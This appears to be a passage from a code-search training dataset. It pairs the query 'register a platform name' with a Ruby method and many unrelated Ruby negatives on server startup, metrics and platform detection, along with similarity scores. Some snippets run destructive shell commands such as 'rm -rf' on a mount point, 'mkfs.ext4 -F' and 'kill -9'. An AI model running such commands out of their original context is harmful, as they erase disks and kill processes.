metrics[:ruby_objects_size_bytes][type: type.to_s.delete_prefix(\"T_\").downcase].set(size)\n end\n\n ObjectSpace.count_tdata_objects.each do |type, count|\n metrics[:ruby_objects_tdata_count][type: type.to_s].set(count)\n end\n\n ObjectSpace.count_symbols.each do |type, count|\n metrics[:ruby_objects_symbols_count][type: type].set(count)\n end\n\n ObjectSpace.count_imemo_objects.each do |type, count|\n metrics[:ruby_objects_imemo_count][type: type].set(count)\n end\n\n ruby_yjit_stats = defined?(RubyVM::YJIT) ? RubyVM::YJIT.runtime_stats : Hash.new { 0 }\n metrics.set({\n ruby_yjit_enabled: ruby_yjit_stats.present?,\n ruby_yjit_inline_code_size: ruby_yjit_stats[:inline_code_size],\n ruby_yjit_outlined_code_size: ruby_yjit_stats[:outlined_code_size],\n ruby_yjit_freed_page_count: ruby_yjit_stats[:freed_page_count],\n ruby_yjit_freed_code_size: ruby_yjit_stats[:freed_code_size],\n ruby_yjit_live_page_count: ruby_yjit_stats[:live_page_count],\n ruby_yjit_code_gc_count: ruby_yjit_stats[:code_gc_count],\n ruby_yjit_code_region_size: ruby_yjit_stats[:code_region_size],\n ruby_yjit_object_shape_count: ruby_yjit_stats[:object_shape_count],\n })\n\n gc_stats = GC.stat\n metrics.set({\n ruby_gc_duration_seconds: gc_stats[:time] / 1000.0,\n ruby_gc_heap_live_slots: gc_stats[:heap_live_slots],\n ruby_gc_heap_free_slots: gc_stats[:heap_free_slots],\n ruby_gc_heap_final_slots: gc_stats[:heap_final_slots],\n ruby_gc_heap_marked_slots: gc_stats[:heap_marked_slots],\n ruby_gc_heap_pages_allocated_total: gc_stats[:total_allocated_pages],\n ruby_gc_heap_pages_freed_total: gc_stats[:total_freed_pages],\n ruby_gc_objects_allocated_total: gc_stats[:total_allocated_objects],\n ruby_gc_objects_freed_total: gc_stats[:total_freed_objects],\n ruby_gc_malloc_increase_bytes: gc_stats[:malloc_increase_bytes],\n ruby_gc_malloc_increase_bytes_limit: gc_stats[:malloc_increase_bytes_limit],\n ruby_gc_compact_total: gc_stats[:compact_count],\n ruby_gc_read_barrier_faults: gc_stats[:read_barrier_faults],\n ruby_gc_moved_objects_total: gc_stats[:total_moved_objects],\n ruby_gc_remembered_wb_unprotected_objects: gc_stats[:remembered_wb_unprotected_objects],\n ruby_gc_remembered_wb_unprotected_objects_limit: gc_stats[:remembered_wb_unprotected_objects_limit],\n ruby_gc_old_objects: gc_stats[:old_objects],\n ruby_gc_old_objects_limit: gc_stats[:old_objects_limit],\n ruby_gc_oldmalloc_increase_bytes: gc_stats[:oldmalloc_increase_bytes],\n ruby_gc_oldmalloc_increase_bytes_limit: gc_stats[:oldmalloc_increase_bytes_limit],\n })\n\n metrics[:ruby_gc_total][type: :major].set(gc_stats[:major_gc_count])\n metrics[:ruby_gc_total][type: :minor].set(gc_stats[:minor_gc_count])\n\n metrics[:ruby_gc_heap_pages][type: :eden].set(gc_stats[:heap_eden_pages])\n metrics[:ruby_gc_heap_pages][type: :tomb].set(gc_stats[:heap_tomb_pages])\n metrics[:ruby_gc_heap_pages][type: :allocatable].set(gc_stats[:heap_allocatable_pages])\n\n gc_object_pool_stats = GC.stat_heap\n gc_object_pool_stats.each do |pool_id, pool_stats|\n metrics.set({\n ruby_gc_pool_heap_pages_allocated_total: pool_stats[:total_allocated_pages],\n ruby_gc_pool_heap_pages_freed_total: pool_stats[:total_freed_pages],\n ruby_gc_pool_force_major_gc_count: pool_stats[:force_major_gc_count],\n }, { slot_size: pool_stats[:slot_size] })\n\n metrics[:ruby_gc_pool_heap_pages][slot_size: pool_stats[:slot_size], type: :eden].set(pool_stats[:heap_eden_pages])\n metrics[:ruby_gc_pool_heap_pages][slot_size: pool_stats[:slot_size], type: :tomb].set(pool_stats[:heap_tomb_pages])\n metrics[:ruby_gc_pool_heap_pages][slot_size: pool_stats[:slot_size], type: :allocatable].set(pool_stats[:heap_allocatable_pages])\n\n metrics[:ruby_gc_pool_heap_slots][slot_size: pool_stats[:slot_size], type: :eden].set(pool_stats[:heap_eden_slots])\n metrics[:ruby_gc_pool_heap_slots][slot_size: pool_stats[:slot_size], type: :tomb].set(pool_stats[:heap_tomb_slots])\n end\n\n metrics.set({\n vips_memory_bytes: Vips.vips_tracked_get_mem,\n vips_allocations: Vips.vips_tracked_get_allocs,\n vips_files: Vips.vips_tracked_get_files,\n })\n\n if Jemalloc.enabled?\n Jemalloc.update_stats!\n metrics.set({\n jemalloc_thread_count: Jemalloc.thread_count,\n jemalloc_allocated_bytes: Jemalloc.allocated,\n jemalloc_active_bytes: Jemalloc.active,\n jemalloc_metadata_bytes: Jemalloc.metadata,\n jemalloc_resident_bytes: Jemalloc.resident,\n jemalloc_mapped_bytes: Jemalloc.mapped,\n })\n end\n\n metrics\n end",
"def rackup(path); end",
"def setup_application\n Souffle::Daemon.change_privilege\n Souffle::Config[:server] = true if Souffle::Config[:daemonize]\n @app = Souffle::Server.new\n end",
"def set_keep_alive; end",
"def process(env); end",
"def detect\n dynatrace_service_exist? ? process_config : nil\n end",
"def start(*mounts, environment: \"development\", services: nil)\n host = ENV[\"HOST\"] || \"127.0.0.1\"\n port = Integer(ENV[\"PORT\"] || 8181)\n\n prepare_environment!(environment: environment)\n\n app = build_app!(mounts: mounts, services: services)\n logger.info \"start to listen on #{mounts.inspect}\"\n ::Simple::Httpd.listen!(app, environment: environment,\n host: host,\n port: port)\n end",
"def index\n status = get_health_status( )\n response = make_response( status )\n #render json: response, :status => response.is_healthy? ? 200 : 500\n render json: response, :status => 200 # dont want to continuously restart the container\n end",
"def base_port\n (options[:port] || env[\"PORT\"] || ENV[\"PORT\"] || 5000).to_i\n end",
"def middlewares_stack; end",
"def before_fork; end",
"def process_keep_alive\n end",
"def karaf_started?\n n = `netstat -ao | grep 8101 | wc -l`\n n.to_i > 0\n end",
"def connection_status_server; end",
"def start_app\nend",
"def before_handling_requests(forked, options)\n if forked\n # Reseed pseudo-random number generator for security reasons.\n srand\n end\n\n if options[\"process_title\"] && !options[\"process_title\"].empty?\n $0 = options[\"process_title\"] + \": \" + options[\"app_group_name\"]\n end\n\n # If we were forked from a preloader process then clear or\n # re-establish ActiveRecord database connections. This prevents\n # child processes from concurrently accessing the same\n # database connection handles.\n if forked && defined?(ActiveRecord::Base)\n if ActiveRecord::Base.respond_to?(:clear_all_connections!)\n ActiveRecord::Base.clear_all_connections!\n elsif ActiveRecord::Base.respond_to?(:clear_active_connections!)\n ActiveRecord::Base.clear_active_connections!\n elsif ActiveRecord::Base.respond_to?(:connected?) &&\n ActiveRecord::Base.connected?\n ActiveRecord::Base.establish_connection\n end\n end\n\n # Fire off events.\n PhusionPassenger.call_event(:starting_worker_process, forked)\n if options[\"pool_account_username\"] && options[\"pool_account_password_base64\"]\n password = options[\"pool_account_password_base64\"].unpack('m').first\n PhusionPassenger.call_event(:credentials,\n options[\"pool_account_username\"], password)\n else\n PhusionPassenger.call_event(:credentials, nil, nil)\n end\n end",
"def start\n #Start the appserver.\n print \"Spawning appserver.\\n\" if @debug\n @httpserv = Knjappserver::Httpserver.new(self)\n \n \n #Start Leakproxy-module if defined in config.\n if @config[:leakproxy]\n require \"#{File.dirname(__FILE__)}/class_knjappserver_leakproxy_server.rb\"\n @leakproxy_server = Knjappserver::Leakproxy_server.new(:kas => self)\n end\n \n \n STDOUT.print \"Starting appserver.\\n\" if @debug\n Thread.current[:knjappserver] = {:kas => self} if !Thread.current[:knjappserver]\n \n if @config[:autoload]\n STDOUT.print \"Autoloading #{@config[:autoload]}\\n\" if @debug\n require @config[:autoload]\n end\n \n begin\n @threadpool.start if @threadpool\n STDOUT.print \"Threadpool startet.\\n\" if @debug\n @httpserv.start\n STDOUT.print \"Appserver startet.\\n\" if @debug\n rescue Interrupt => e\n STDOUT.print \"Got interrupt - trying to stop appserver.\\n\" if @debug\n self.stop\n raise e\n end\n end",
"def stop\n system(\"ps -aux | grep rackup\")\n puts \"Stoping clusters...\"\n for app in @apps\n if @env == :deployment\n pid_file = \"#{APP_PATH}/log/doozer.#{app[:port]}.pid\"\n puts \"=> Reading pid from #{pid_file}\" \n if File.exist?(pid_file)\n File.open(pid_file, 'r'){ | f | \n pid = f.gets.to_i\n puts \"=> Shutting down process #{pid}\"\n system(\"kill -9 #{pid}\")\n\n }\n File.delete(pid_file) \n else\n puts \"ERROR => pid file doesn't exist\"\n end\n end\n end\n sleep(1)\n system(\"ps -aux | grep rackup\")\nend",
"def run_app(app, env)\n setup_rack(app).call(env)\nend",
"def initialize_server\n my_public_ip = my_node.public_ip\n head_node_ip = get_public_ip(@creds['hostname'])\n\n HAProxy.initialize_config\n Nginx.initialize_config\n\n if my_node.disk\n imc = InfrastructureManagerClient.new(@@secret)\n\n device_name = imc.attach_disk(@creds, my_node.disk, my_node.instance_id)\n loop {\n if File.exists?(device_name)\n Djinn.log_info(\"Device #{device_name} exists - mounting it.\")\n break\n else\n Djinn.log_info(\"Device #{device_name} does not exist - waiting for \" +\n \"it to exist.\")\n Kernel.sleep(1)\n end\n }\n\n Djinn.log_run(\"rm -rf #{PERSISTENT_MOUNT_POINT}\")\n Djinn.log_run(\"mkdir #{PERSISTENT_MOUNT_POINT}\")\n mount_output = Djinn.log_run(\"mount -t ext4 #{device_name} \" +\n \"#{PERSISTENT_MOUNT_POINT} 2>&1\")\n if mount_output.empty?\n Djinn.log_info(\"Mounted persistent disk #{device_name}, without \" +\n \"needing to format it.\")\n Djinn.log_run(\"mkdir -p #{PERSISTENT_MOUNT_POINT}/apps\")\n\n # In cloud deployments, information about what ports are being used gets\n # persisted to an external disk, which isn't available to us when we\n # initially try to restore the AppController's state. Now that this info\n # is available, try again.\n if my_node.is_login? or my_node.is_appengine?\n restore_appserver_state\n end\n\n # Finally, RabbitMQ expects data to be present at /var/lib/rabbitmq.\n # Make sure there is data present there and that it points to our\n # persistent disk.\n if File.exists?(\"/opt/appscale/rabbitmq\")\n Djinn.log_run(\"rm -rf /var/lib/rabbitmq\")\n else\n Djinn.log_run(\"mv /var/lib/rabbitmq /opt/appscale\")\n end\n Djinn.log_run(\"ln -s /opt/appscale/rabbitmq /var/lib/rabbitmq\")\n return\n end\n\n Djinn.log_info(\"Formatting persistent disk #{device_name}\")\n Djinn.log_run(\"mkfs.ext4 -F #{device_name}\")\n\n Djinn.log_info(\"Mounting persistent disk #{device_name}\")\n Djinn.log_run(\"mount -t ext4 #{device_name} #{PERSISTENT_MOUNT_POINT} \" +\n \"2>&1\")\n Djinn.log_run(\"mkdir -p #{PERSISTENT_MOUNT_POINT}/apps\")\n\n Djinn.log_run(\"mv /var/lib/rabbitmq /opt/appscale\")\n Djinn.log_run(\"ln -s /opt/appscale/rabbitmq /var/lib/rabbitmq\")\n end\n end",
"def web_port\n 5000\n end",
"def initialize_server(port)\r\n set :port, port # Specify Port For Sinatra Server\r\n set :bind, \"0.0.0.0\" # Allow Ping From External Devices\r\n set :environment, :production # Allow External Nodes To Query Websocket\r\n set :run, true # Start Sinatra Server\r\nend",
"def server(port = 9319)\r\n puts \"- Starting server on port: #{port}\"\r\n\r\n begin\r\n $servers[port].shutdown if $servers.has_key?(port)\r\n rescue => e\r\n puts \"- Server on #{port} failed to shutdown with message: #{e}\"\r\n end\r\n\r\n #TODO: this is where we sometimes get Address already in use - bind - Address already in use: bind\r\n #possibly we need to wait/confirm the server shutdown or maybe retry?\r\n\r\n $servers[port] = WEBrick::HTTPServer.new(:Port => port)\r\n server = $servers[port]\r\n $mounts.keys.each{|url|\r\n server.mount(url, $mounts[url][0], *$mounts[url][1])\r\n }\r\n $mounts.clear\r\n\r\n Thread.new {\r\n begin\r\n sleep 1\r\n server.start\r\n rescue Exception => e\r\n puts \"- Exception starting server on #{port} - #{e}\"\r\n end\r\n }\r\nend",
"def port; config[:port]; end",
"def rack_builder; end",
"def start_api_services()\n # ejabberd uses uaserver for authentication\n # so start it after we find out the uaserver's ip\n threads = []\n if my_node.is_login?\n threads << Thread.new {\n start_ejabberd()\n }\n end\n\n @done_initializing = true\n\n # start zookeeper\n threads << Thread.new {\n if my_node.is_zookeeper?\n configure_zookeeper(@nodes, @my_index)\n start_zookeeper\n end\n\n ZKInterface.init(my_node, @nodes)\n }\n\n if my_node.is_memcache?\n threads << Thread.new {\n start_memcache()\n }\n end\n\n if my_node.is_db_master?\n threads << Thread.new {\n start_db_master()\n # create initial tables\n if my_node.is_db_master?\n prime_database\n end\n\n # Always colocate the Datastore Server and UserAppServer (soap_server).\n if has_soap_server?(my_node)\n @state = \"Starting up SOAP Server and Datastore Server\"\n start_datastore_server()\n start_soap_server()\n HelperFunctions.sleep_until_port_is_open(HelperFunctions.local_ip, UserAppClient::SERVER_PORT)\n end\n\n # If we're starting AppScale with data from a previous deployment, we\n # may have to clear out all the registered app instances from the\n # UserAppServer (since nobody is currently hosting any apps).\n if not @creds['clear_datastore']\n erase_app_instance_info\n end\n }\n end\n\n if my_node.is_db_slave?\n threads << Thread.new {\n start_db_slave()\n\n # Currently we always run the Datastore Server and SOAP\n # server on the same nodes.\n if has_soap_server?(my_node)\n @state = \"Starting up SOAP Server and Datastore Server\"\n start_datastore_server()\n start_soap_server()\n HelperFunctions.sleep_until_port_is_open(HelperFunctions.local_ip,\n UserAppClient::SERVER_PORT)\n end\n }\n end\n\n # All nodes have application managers\n threads << Thread.new {\n start_app_manager_server()\n }\n\n if my_node.is_appengine?\n threads << Thread.new {\n start_blobstore_server()\n }\n end\n\n if my_node.is_taskqueue_master?\n threads << Thread.new {\n start_taskqueue_master()\n }\n elsif my_node.is_taskqueue_slave?\n threads << Thread.new {\n start_taskqueue_slave()\n }\n end\n\n # App Engine apps rely on the above services to be started, so\n # join all our threads here\n Djinn.log_info(\"Waiting for all services to finish starting up\")\n threads.each { |t| t.join() }\n Djinn.log_info(\"API services have started on this node\")\n\n end",
"def on_worker_boot(&block); end",
"def bootup\n env = (@options[:environment] || \"development\").to_sym\n is_logging = @options.has_key?(:debug) && (@options[:debug] == \"true\")\n app = ::Middleman.server.inst do\n set :environment, env\n set :logging, is_logging\n end\n \n app_rack = app.class.to_rack_app\n \n opts = @options.dup\n opts[:app] = app_rack\n opts[:logging] = is_logging\n puts \"== The Middleman is standing watch on port #{opts[:port]||4567}\"\n ::Middleman.start_server(opts)\n end",
"def start\n puts 'Booting BubBot'\n Thread.new do\n loop do\n #puts \"Checking for servers to shutdown\"\n # TODO: actually do that ^\n sleep 10# * 60\n end\n end\n\n app = Rack::Builder.new do\n # if development (TODO)\n use Rack::Reloader\n # end\n run BubBot\n end.to_app\n\n Rack::Handler::Thin.run(app, BubBot.configuration.rack_options_hash)\n end",
"def start\n # the above only accepts 1 requiest. it will stop after receiving a request\n # in order to enable the server to accept more than 1 request, you need to create a loop\n loop do\n # this is an infinite loop.. this can now accept multiple vars and it will ahve separate objects per request\n # once the server socket is ready..\n # we need to tell the server socket that we're ready to accept a connection\n # the #accept method accepts the next incoming connection or it will block if there are no incoming connections at teh moment\n # it will #accept once it arrives\n # this is the socket / connetiont at we have to teh remote browser\n socket = @server.accept # THIS IS THE CLIENT SOCKET\n puts \"this is the socket var: \" + @socket.inspect\n # let's start the new conneciton inside a thread\n # NOTE: there's a big performance and memory penalty for creating a new thread => needs to put a bunch of memory\n # to increase the performance, they initialize threads and then store those threads in a $\"thread pool\" => ie. instead of initializign new threads, it leverages existing threads\n # doing what you did below slows down the server significantly\n # apache, nginx, unicorn => prefork model\n # => fork meaning it will fork right afte rthe server socket initialization (see above in TCPServer) => 2 parts: main server socket in the master process and we will make child processes by calling a method called fork. it copies the the main process and it will $share the sockets from the master process\n # to the child proceess\n Thread.new do\n # create a new isntance of the connneciton class\n connection = Connection.new(socket, @app) # now we have access to the rack application instance inside our Connection \n connection.process\n end\n end\n end",
"def life_cycle_failure(app, cause) ; end",
"def life_cycle_failure(app, cause) ; end",
"def allow_production; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end",
"def env; end"
] | [
"0.6397659",
"0.61415595",
"0.59291494",
"0.5855293",
"0.5841216",
"0.575296",
"0.56749874",
"0.56114256",
"0.5603478",
"0.55988693",
"0.55908835",
"0.55124366",
"0.5510969",
"0.54710746",
"0.5441891",
"0.5439759",
"0.5395343",
"0.53662574",
"0.5338841",
"0.5336932",
"0.5331923",
"0.5331923",
"0.53264046",
"0.53219426",
"0.5299925",
"0.5288345",
"0.52784985",
"0.52672255",
"0.5248732",
"0.5212107",
"0.5209226",
"0.5199032",
"0.51939976",
"0.5193537",
"0.5188847",
"0.51795036",
"0.51715946",
"0.51558715",
"0.51533335",
"0.5139385",
"0.51371706",
"0.51196015",
"0.51168084",
"0.5113363",
"0.51105225",
"0.5100512",
"0.5084863",
"0.50808007",
"0.50804836",
"0.50458485",
"0.5041781",
"0.5041351",
"0.50409055",
"0.5030166",
"0.50257707",
"0.5024305",
"0.501928",
"0.50135356",
"0.5009943",
"0.5007953",
"0.49994236",
"0.49859965",
"0.49859947",
"0.4979211",
"0.4975731",
"0.496645",
"0.4965502",
"0.4953079",
"0.49491438",
"0.4947552",
"0.4939091",
"0.4932029",
"0.49319896",
"0.49291658",
"0.491368",
"0.49090403",
"0.49086788",
"0.49058706",
"0.4896743",
"0.48939568",
"0.4886764",
"0.4886764",
"0.48857537",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862",
"0.48809862"
] | 0.0 | -1 |
register a platform name | def platform(name=nil, path=nil)
error "Platform name is blank" if name.blank?
error "Platform path is blank" if path.blank?
error "Platform name is not a string" unless name.kind_of?(String)
debug "Registering platform name [#{name}] by engine path [#{path}]"
error "Platform [#{name}] has already been registered" if platform_names.include?(name)
platform_names.push(name)
totem_settings.defaults.platform_settings(name)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def register_with_system(name)\n @unique_id = name.object_id\n end",
"def set_platform_name(name)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_set_platform_name(@handle.ptr, name)\n end",
"def platform_name\n self.platform ? self.platform.name : NOT_SET\n end",
"def add_platform(platform)\n @platforms << platform\n end",
"def platform_name\n capabilities['platformName']\n end",
"def platform(arg = nil)\n set_or_return(:platform, arg, kind_of: String, required: true)\n end",
"def platform_shortname\n if rhel?\n if \"rocky\" == Ohai[\"platform\"]\n \"rocky\"\n else\n \"el\"\n end\n elsif suse?\n \"sles\"\n else\n Ohai[\"platform\"]\n end\n end",
"def platform_name\n \"Flist\"\n end",
"def platform_shortname\n if platform_family == 'rhel'\n 'el'\n else\n platform\n end\n end",
"def platform_name; non_framework_platforms.first; end",
"def platform(platform_name, &block)\n SupportedPlatforms.verify!platform_name\n\n @current_platform = platform_name\n\n block.call\n\n @current_platform = nil\n end",
"def platform(platform_name)\n @platform_handlers.values.flatten.find { |known_platform| known_platform.name == platform_name }\n end",
"def add_platform(db, platform_name)\n db.execute(\"INSERT INTO platform (platform_name) VALUES (?),\" [platform_name])\nend",
"def describePlatform\n TC.name.gsub(' ', '_')\nend",
"def platform=(value)\n @platform = value\n end",
"def platform\n self.class.name.split(\"::\").last.gsub(/(?<=[^A-Z])[A-Z]+/, \"-\\\\0\").downcase\n end",
"def define_machine_name(config, name)\n config.vm.provider \"virtualbox\" do |v|\n v.name = name\n end\nend",
"def build_host_name\n if @platform.abs_resource_name\n @platform.abs_resource_name\n elsif @platform.vmpooler_template\n @platform.vmpooler_template\n else\n @platform.name\n end\n end",
"def build_host_name\n if @platform.abs_resource_name\n @platform.abs_resource_name\n elsif @platform.vmpooler_template\n @platform.vmpooler_template\n else\n @platform.name\n end\n end",
"def std_reg(name)\n @linker.platform.assign_reg?(name)\n end",
"def platform_name()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.RunMetadata_platform_name(@handle.ptr)\n result\n end",
"def platform_name_match?(platform, name)\n [platform.name, platform.string_name].any? { |n| n.casecmp(name) == 0 }\n end",
"def switchToPlatform(platform)\n if @support_platforms.include?(platform) then\n @platform = platform\n else\n puts \"The given #{platform} platform not support.\"\n end\n end",
"def name\n RUBY_PLATFORM\n end",
"def platform=(platform)\n fail ArgumentError, \"unknown platform #{platform}\" \\\n unless Cisco::Util::PLATFORMS.include?(platform)\n @platform = platform\n end",
"def platform; end",
"def platform; end",
"def platform; end",
"def platforms; platform_names; end",
"def platform\n raise NotImplementedError\n end",
"def platform\n raise NotImplementedError\n end",
"def for(platform)\n case platform.to_s\n when 'amazon' then for_amazon\n when 'core_api' then for_core\n end\n end",
"def platform_id\n case handle\n when \"nokia_6260\"\n 0x101fb3f4\n when \"nokia_6600\"\n 0x101f7963\n when \"nokia_6630\"\n 0x101f7964\n when \"nokia_7610\"\n 0x101fd5db\n when \"nokia_e61\"\n 0x20001858\n when \"nokia_n70\", \"nokia_n72\"\n 0x10200f9a\n else\n raise\n end\n end",
"def assured_platform(purpose, name, config)\n platform_definition = config.platform_definition(name)\n assure(\"Requested #{purpose} platform '#{name}' is defined in 'platforms' YML\") { !platform_definition.nil? }\n platform_definition\nend",
"def detect_platform\r\n\t\tprint_status(\"Attempting to automatically detect the platform\")\r\n\t\tres = send_serialized_request(\"osname.bin\")\r\n\r\n\t\tif (res.body =~ /(Linux|FreeBSD|Windows)/i)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /FreeBSD/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend",
"def supports(platform, *version_args)\n version = new_args_format(:supports, platform, version_args)\n constraint = validate_version_constraint(:supports, platform, version)\n @platforms[platform] = constraint.to_s\n @platforms[platform]\n end",
"def ruby_platform_osname\n return unless Object.const_defined? :RUBY_PLATFORM\n\n case RUBY_PLATFORM\n when /darwin/ # macOS\n :macos\n when /linux/\n :linux\n when /mingw/\n :windows\n when /openbsd/\n :openbsd\n end\n end",
"def soname(s)\n unless Platform.is_windows?\n @flags.push ['soname', s]\n end\n end",
"def platform_params\n params.require(:platform).permit(:name, :version)\n end",
"def platform_klass\n @platform.name.to_s.classify.constantize\n\n rescue NameError\n raise Platforms::ClassDoesNotExist\n end",
"def platform_params\n params.require(:platform).permit(:name, :package_id, :version, :app_id, :icon, :splash, :logo, :version_code)\n end",
"def names\n platforms.map { |m| m.realname }\n end",
"def load_platform(v)\n Chef::Log.debug \"[dropwizard_pleaserun] loading platform #{v}\"\n platform_lib = \"pleaserun/platform/#{v}\"\n require platform_lib\n const = PleaseRun::Platform.constants.find { |c| c.to_s.casecmp(v).zero? }\n if const.nil?\n raise PlatformLoadError, \"Could not find platform named '#{v}' after loading library \" \\\n \"'#{platform_lib}'. This is probably a bug.\"\n end\n return PleaseRun::Platform.const_get(const)\nrescue LoadError => e\n raise PlatformLoadError, \"Failed to find or load platform '#{v}'. This could be a typo or \" \\\n \" a bug. If it helps, the error is: #{e}\"\nend",
"def test_platform_uses_unknown_if_uname_fails\n NewRelic::Helper.stubs('run_command').with('uname -s').raises(NewRelic::CommandRunFailedError)\n NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, 'java') do\n platform = NewRelic::Agent::Samplers::MemorySampler.platform\n\n assert_equal 'unknown', platform\n end\n end",
"def create\n @platform = Platform.new(platform_params)\n\n if @platform.save\n flash[:success] = \"#{@platform.name} was successfully created.\"\n redirect_to platforms_path\n else \n flash[:warning] = \"Format error.\"\n render new_platform_path\n end\n end",
"def platform(platform = nil, options={})\n platform ? @platform = Platform.new(platform, options) : @platform\n end",
"def framework_name; registered_framework_name; end",
"def platform_type=(value)\n @platform_type = value\n end",
"def platform_type=(value)\n @platform_type = value\n end",
"def platforms=(value)\n @platforms = value\n end",
"def register_node\n @registered = @registry.register_node(system)\n end",
"def register(name, type)\n registry[name] = type\n end",
"def register(name, klass)\n registry[name.to_sym] = klass\n end",
"def on_os name\n os_kernel = `uname -a`\n os_kernel.downcase.include?(name)\nend",
"def platform_family\n Ohai.platform_family\n end",
"def os_name # rubocop:disable Lint/DuplicateMethods\n @os_name ||= @name.match(PLATFORM_REGEX)[1]\n end",
"def test_platform_uses_ruby_platform\n stubbed = 'ENCOM OS-12'\n NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, stubbed) do\n platform = NewRelic::Agent::Samplers::MemorySampler.platform\n\n assert_equal platform, stubbed.downcase\n end\n end",
"def registry\n\t\tbrand(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Registry)\n\tend",
"def register(name, klass)\n @registry[name] = klass\n end",
"def platform_config(name)\n {\n 'name' => name,\n # On CI enable poise-profiler automatically. Load it here in case the\n # user defines their own suites.\n 'run_list' => ((ENV['CI'] || ENV['DEBUG'] || ENV['PROFILE']) ? %w{poise-profiler} : []),\n }.tap {|cfg| cfg.update(windows_platform_config(name)) if name.include?('windows') }\n end",
"def get_exotic_archname(platform_type)\n case platform_type\n when /aarch64/\n \"ARM\"\n when /ppc64le/\n \"Power\"\n else\n nil\n end\nend",
"def unknown_linux_type\n if @unknown_linux_type.nil?\n version = @platform.exec(\"uname\", \"-r\").chomp\n version = \"unknown\" if version.blank?\n @unknown_linux_type = \"unknown-linux-%s\" % version\n end\n \n @unknown_linux_type\n end",
"def device(name, params = {})\n Celluloid::Logger.info \"Registering device '#{name}'...\"\n self.device_types ||= []\n self.device_types << {:name => name}.merge(params)\n end",
"def platform_list; ['all','xbox-360']; end",
"def platform\n data[:platform]\n end",
"def register_server(name)\n do_send(Erlang::Tuple.new([\n Erlang::Atom.new('register_with_group'),\n Erlang::Atom.new(name)]))\n end",
"def platform(*platforms)\n @current_platforms = platforms\n\n yield\n\n ensure\n @current_platforms = nil\n end",
"def register(name, klass)\n Registry.instance.register(name, klass)\n end",
"def platform_params\n params.require(:platform).permit(:shortname, :name, :background, :logo, :content, :date, :status)\n end",
"def platform_for(node)\n @platforms_handler.known_platforms.find { |platform| platform.known_nodes.include?(node) }\n end",
"def clean_name\n global? ? registry.hostname : name\n end",
"def clean_name\n global? ? registry.hostname : name\n end",
"def platform\n Ohai.platform\n end",
"def addMeta(platform, key, value)\n if @support_platforms.include?(platform) then\n if not @meta_data.key?(platform)\n @meta_data[platform] = Hash.new\n end\n \n if @allow_override_meta then\n @meta_data[platform][key] = value\n elsif (@meta_data[platform][key] == nil ) then\n @meta_data[platform][key] = value\n else\n puts \"Meta #{key}=>#{@meta_data[platform][key]} already exists, can not override it.\"\n end\n else\n raise \"The given #{platform} platform not support.\"\n end\n end",
"def eval_platform\n if @platform == \"PC\"\n puts \"PC are great!\"\n else\n puts \"Your platform is probably underpowered.\"\n end\n end",
"def platform=(platform)\n if @original_platform.nil? or\n @original_platform == Gem::Platform::RUBY\n @original_platform = platform\n end\n\n case platform\n when Gem::Platform::CURRENT then\n @new_platform = Gem::Platform.local\n @original_platform = @new_platform.to_s\n\n when Gem::Platform then\n @new_platform = platform\n\n # legacy constants\n when nil, Gem::Platform::RUBY then\n @new_platform = Gem::Platform::RUBY\n when 'mswin32' then # was Gem::Platform::WIN32\n @new_platform = Gem::Platform.new 'x86-mswin32'\n when 'i586-linux' then # was Gem::Platform::LINUX_586\n @new_platform = Gem::Platform.new 'x86-linux'\n when 'powerpc-darwin' then # was Gem::Platform::DARWIN\n @new_platform = Gem::Platform.new 'ppc-darwin'\n else\n @new_platform = Gem::Platform.new platform\n end\n\n @platform = @new_platform.to_s\n\n invalidate_memoized_attributes\n\n @new_platform\n end",
"def platform\n \"win\"\n end",
"def platform\n fetch('device.platform')\n end",
"def platform\n @platform ||= data.platform\n end",
"def detect_platform()\r\n\t\tprint_status(\"Attempting to automatically detect the platform...\")\r\n\r\n\t\tpath = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'\r\n\t\tres = send_request_raw(\r\n\t\t\t{\r\n\t\t\t\t'uri' => path\r\n\t\t\t}, 20)\r\n\r\n\t\tif (not res) or (res.code != 200)\r\n\t\t\tprint_error(\"Failed: Error requesting #{path}\")\r\n\t\t\treturn nil\r\n\t\tend\r\n\r\n\t\tif (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\\/td>/m)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend",
"def what_platform\n if @platform == \"PC\"\n puts \"PC are Awesome!\"\n else\n puts \"This platform is inferior\"\n end\n end",
"def create(platform)\n @platform = Locomotive::Platform.new(platform)\n\n if @platform.save\n redirect resource(@platform), :message => {:notice => \"Platform was successfully created\"}\n else\n render :new\n end\n end",
"def test_platform_uses_uname_for_jruby\n stubbed = 'MCP'\n NewRelic::Helper.stubs('run_command').with('uname -s').returns(stubbed)\n NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, 'java') do\n platform = NewRelic::Agent::Samplers::MemorySampler.platform\n\n assert_equal platform, stubbed.downcase\n end\n end",
"def platform_params\n params.require(:platform).permit(:name, :category)\n end",
